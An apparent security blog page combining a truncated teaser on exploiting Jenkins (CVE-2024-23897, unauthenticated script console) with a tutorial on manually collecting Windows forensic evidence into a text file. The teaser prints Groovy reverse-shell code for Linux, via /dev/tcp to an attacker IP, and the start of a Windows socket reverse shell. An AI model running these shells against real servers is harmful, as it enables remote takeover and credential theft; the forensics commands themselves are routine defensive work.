Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
While performing a digital forensics investigation, you might need to collect various artifacts, information and images from the target machine. Most of the times, we make use of the automated tools to retrieve the information that we require. Read DFIR KAPE : Evidence Collection Tool
However, it is important to know to collect the data manually as well. This process of collecting the required information and image , also known as Evidence acquisition is one of the most important tasks to be performed correctly in order to start your investigation. The data that needs to be collected includes both volatile and non-volatile data. The minimal information that needs to collected ,includes,
- Date and Time
- Currently running tasks
- Current network connections
- ARP Cache
- Network Configurations and Shares
- DNS and Routing Table
- System Variables
- User/s Information
- System Information
We can collect these manually and the following commands comes handy.
Lets collect all these information in a single text file. Here for example DFIR.txt.
echo %date% %time% > DFIR.txt
Export of the current running tasks in the system.
tasklist >> DFIR.txt
Export all loaded modules.
tasklist /m >> DFIR.txt
Export all the services.
tasklist /svc >> DFIR.txt
Export the network connections list.
netstat -nao >> DFIR.txt
Export the system's ARP Cache.
arp -a >> DFIR.txt
Export system's network configuration.
ipconfig /all >> DFIR.txt
DNS configurations.
ipconfig /displaydns >> DFIR.txt
Routing configurations.
route print >> DFIR.txt
System variables.
set >> DFIR.txt
System user information.
net user %username% >> DFIR.txt
net use >> DFIR.txt
Attached/Available network shares.
net share >> DFIR.txt
Workstation information.
net config workstation >> DFIR.txt
Most importantly, the system information:
systeminfo >> DFIR.txt
Finally, verify the information on the DFIR.txt file.
